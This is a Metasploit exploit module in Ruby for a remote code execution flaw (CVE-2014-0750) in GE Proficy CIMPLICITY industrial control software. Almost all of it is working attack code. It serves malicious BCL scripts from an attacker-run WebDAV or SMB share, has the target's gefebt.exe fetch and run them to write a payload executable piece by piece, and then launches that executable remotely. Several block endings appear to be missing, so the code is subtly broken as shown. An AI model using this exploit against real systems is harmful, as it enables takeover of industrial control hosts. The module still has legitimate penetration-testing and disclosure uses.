GE Proficy CIMPLICITY gefebt.exe Remote Code Execution

##

# This module requires Metasploit: http//metasploit.com/download

# Current source: https://github.com/rapid7/metasploit-framework

##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Auxiliary::Report

include Msf::Exploit::EXE

include Msf::Exploit::Remote::HttpClient

include Msf::Exploit::Remote::HttpServer::HTML

def initialize

super(

'Name' => 'GE Proficy CIMPLICITY gefebt.exe Remote Code Execution',

'Description' => %q{

This module abuses the gefebt.exe component in GE Proficy CIMPLICITY, reachable through the

CIMPLICIY CimWebServer. The vulnerable component allows to execute remote BCL files in

shared resources. An attacker can abuse this behaviour to execute a malicious BCL and

drop an arbitrary EXE. The last one can be executed remotely through the WebView server.

This module has been tested successfully in GE Proficy CIMPLICITY 7.5 with the embedded

CimWebServer. This module starts a WebDAV server to provide the malicious BCL files. When

the target hasn't the WebClient service enabled, an external SMB service is necessary.

},

'Author' => [

'amisto0x07', # Vulnerability discovery

'Z0mb1E', # Vulnerability discovery

'juan vazquez' # Metasploit module

],

'References' =>

[

[ 'CVE', '2014-0750'],

[ 'ZDI', '14-015' ],

[ 'URL', 'http://ics-cert.us-cert.gov/advisories/ICSA-14-023-01' ]

],

'Stance' => Msf::Exploit::Stance::Aggressive,

'Platform' => 'win',

'Targets' =>

[

[ 'GE Proficy CIMPLICITY 7.5 (embedded CimWebServer)', { } ]

],

'DefaultTarget' => 0,

'Privileged' => true,

'DisclosureDate' => 'Jan 23 2014'

)

register_options(

[

Opt::RPORT(80),

OptString.new('URIPATH', [ true, 'The URI to use (do not change)', '/' ]),

OptPort.new('SRVPORT', [ true, 'The daemon port to listen on (do not change)', 80 ]),

OptString.new('UNCPATH', [ false, 'Override the UNC path to use.' ]),

OptBool.new('ONLYMAKE', [ false, 'Just generate the malicious BCL files for using with an external SMB server.', true ]),

OptString.new('TARGETURI', [true, 'The base path to the CimWeb', '/'])

], self.class)

end

def on_request_uri(cli, request)

case request.method

when 'OPTIONS'

process_options(cli, request)

when 'PROPFIND'

process_propfind(cli, request)

when 'GET'

process_get(cli, request)

else

vprint_status("#{request.method} => 404 (#{request.uri})")

resp = create_response(404, "Not Found")

resp.body = ""

resp['Content-Type'] = 'text/html'

cli.send_response(resp)

end

def process_get(cli, request)

if request.uri =~ /#{@basename}(\d)\.bcl/

print_status("GET => Payload")

data = @bcls[$1.to_i]

send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })

return

end

# Anything else is probably a request for a data file...

vprint_status("GET => DATA (#{request.uri})")

data = rand_text_alpha(8 + rand(10))

send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })

end

#

# OPTIONS requests sent by the WebDav Mini-Redirector

#

def process_options(cli, request)

vprint_status("OPTIONS #{request.uri}")

headers = {

'MS-Author-Via' => 'DAV',

'DASL' => '<DAV:sql>',

'DAV' => '1, 2',

'Allow' => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH',

'Public' => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK',

'Cache-Control' => 'private'

}

resp = create_response(207, "Multi-Status")

headers.each_pair {|k,v| resp[k] = v }

resp.body = ""

resp['Content-Type'] = 'text/xml'

cli.send_response(resp)

end

#

# PROPFIND requests sent by the WebDav Mini-Redirector

#

def process_propfind(cli, request)

path = request.uri

print_status("Received WebDAV PROPFIND request")

body = ''

if (path =~ /\.bcl$/i)

print_status("Sending BCL multistatus for #{path} ...")

body = %Q|<?xml version="1.0"?>

<a:multistatus xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/" xmlns:c="xml:" xmlns:a="DAV:">

<a:response>

</a:response>

</a:multistatus>

|

elsif (path =~ /\/$/) or (not path.sub('/', '').index('/'))

# Response for anything else (generally just /)

print_status("Sending directory multistatus for #{path} ...")

body = %Q|<?xml version="1.0" encoding="utf-8"?>

<D:multistatus xmlns:D="DAV:">

<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">

<D:href>#{path}</D:href>

<D:propstat>

<D:prop>

<lp1:resourcetype><D:collection/></lp1:resourcetype>

<lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate>

<lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified>

<lp1:getetag>"39e0001-1000-4808c3ec95000"</lp1:getetag>

<D:lockdiscovery/>

<D:getcontenttype>httpd/unix-directory</D:getcontenttype>

</D:prop>

<D:status>HTTP/1.1 200 OK</D:status>

</D:propstat>

</D:response>

</D:multistatus>

|

else

print_status("Sending 404 for #{path} ...")

send_not_found(cli)

return

end

# send the response

resp = create_response(207, "Multi-Status")

resp.body = body

resp['Content-Type'] = 'text/xml'

cli.send_response(resp)

end

def check

uri = normalize_uri(target_uri.to_s, "CimWeb", "gefebt.exe")

uri << "?"

res = send_request_cgi('uri' => uri)

# res.to_s is used because the CIMPLICITY embedded web server

# doesn't send HTTP compatible responses.

if res and res.code == 200 and res.to_s =~ /Usage.*gefebt\.exe/

return Exploit::CheckCode::Detected

end

Exploit::CheckCode::Unknown

end

def exploit

@extensions = "bcl"

@bcls= []

@total_exe = 0

setup_resources

make_bcls

print_status("BCL's available at #{@exploit_unc}#{@share_name}\\#{@basename}{i}.bcl")

unless datastore['UNCPATH'].blank?

@bcls.each_index { |i| file_create("#{@basename}#{i}.bcl", @bcls[i]) }

if datastore['ONLYMAKE']

print_warning("Files created, remember to upload the BCL files to the remote share!")

print_warning("Once ready set ONLYMAKE to false")

else

exploit_bcl

end

return

end

super

end

def setup_resources

if datastore['UNCPATH'].blank?

# Using WebDAV

my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST']

@basename = rand_text_alpha(3)

@share_name = rand_text_alpha(3)

@exploit_unc = "\\\\#{my_host}\\"

@exe_filename = "#{rand_text_alpha(3 + rand(4))}.exe"

unless datastore['SRVPORT'].to_i == 80 && datastore['URIPATH'] == '/'

fail_with(Failure::BadConfig, 'Using WebDAV requires SRVPORT=80 and URIPATH=/')

end

else

# Using external SMB Server

if datastore['UNCPATH'] =~ /(\\\\[^\\]*\\)([^\\]*)\\([^\\]*)\.bcl/

@exploit_unc = $1

@share_name = $2

@basename = $3

# Use an static file name for the EXE since the module doesn't

# deliver the BCL files in this case.

@exe_filename = "ge_pld.exe"

else

fail_with(Failure::BadConfig, 'Bad UNCPATH format, should be \\\\host\\shared_folder\\base_name.blc')

end

def make_bcls

exe = generate_payload_exe

# Padding to be sure we're aligned to 4 bytes.

exe << "\x00" until exe.length % 4 == 0

longs = exe.unpack("l*")

offset = 0

# gefebt.exe isn't able to handle (on my test environment) long

# arrays bigger than 16000, so we need to split it.

while longs.length > 0

parts = longs.slice!(0, 16000)

@bcls << generate_bcl(parts , offset)

offset += parts.length * 4

end

def generate_bcl(slices, offset)

bcl_payload = ""

slices.each_index do |i|

bcl_payload << "s(#{i + 1}) = #{slices[i]}\n"

end

<<-EOF

Option CStrings On

Sub Main()

Open "#{@exe_filename}" For Binary Access Write As #1

Dim s(#{slices.length}) As Long

#{bcl_payload}

For x = 1 To #{slices.length}

t = x - 1

Put #1,t*4+1+#{offset},s(x)

Next x

Close

End Sub

EOF

end

def execute_bcl(i)

print_status("#{peer} - Executing BCL code #{@basename}#{i}.bcl to drop final payload...")

uri = normalize_uri(target_uri.to_s, "CimWeb", "gefebt.exe")

uri << "?#{@exploit_unc}#{@share_name}\\#{@basename}#{i}.bcl"

res = send_request_cgi('uri' => uri)

# We use res.to_s because the embedded CIMPLICITY Web server doesn't

# answer with valid HTTP responses.

if res and res.code == 200 and res.to_s =~ /(^Error.*$)/

print_error("#{peer} - Server answered with error: $1")

fail_with(Failure::Unknown, "#{peer} - Server answered with error")

elsif res and res.code == 200 and res.to_s =~ /No such file or directory/

fail_with(Failure::BadConfig, "#{peer} - The target wasn't able to access the remote BCL file")

elsif res and res.code == 200

print_good("#{peer} - Answer has been successful")

else

fail_with(Failure::Unknown, "#{peer} - Unknown error")

end

def exploit_bcl

@bcls.each_index do |i|

execute_bcl(i)

end

print_status("#{peer} - Executing #{@exe_filename}...")

uri = normalize_uri(target_uri.to_s, "CimWeb", @exe_filename)

uri << "?"

# Enough timeout to execute the payload, but don't block the exploit

# until there is an answer.

send_request_cgi({'uri' => uri}, 3)

end

def primer

exploit_bcl

service.stop

end

def file_create(fname, data)

ltype = "exploit.fileformat.#{self.shortname}"

full_path = store_local(ltype, nil, data, fname)

print_good("#{fname} stored at #{full_path}")

end